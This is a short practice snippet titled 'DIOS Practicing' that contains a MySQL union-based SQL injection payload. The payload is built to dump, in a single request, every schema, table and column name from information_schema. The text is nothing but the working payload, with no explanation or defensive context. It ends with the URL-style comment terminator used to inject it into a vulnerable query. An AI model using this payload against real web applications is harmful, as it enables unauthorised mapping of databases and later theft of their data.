DIOS Practicing

DIOS Practicing
union select 1,2,(
select (@a) from
(
select (@a:=0x00),(@tbl:=0x00),
(
select (@a) from (information_schema.columns) where ( table_schema!='information_schema')
and (@a) in
(
@a:= concat(@a,'<br>',if
(
(@tbl!=table_name),concat('<br>',table_schema,':::',@tbl:=table_name,'::::',column_name),(column_name)
)
)
)
)
)
a)--+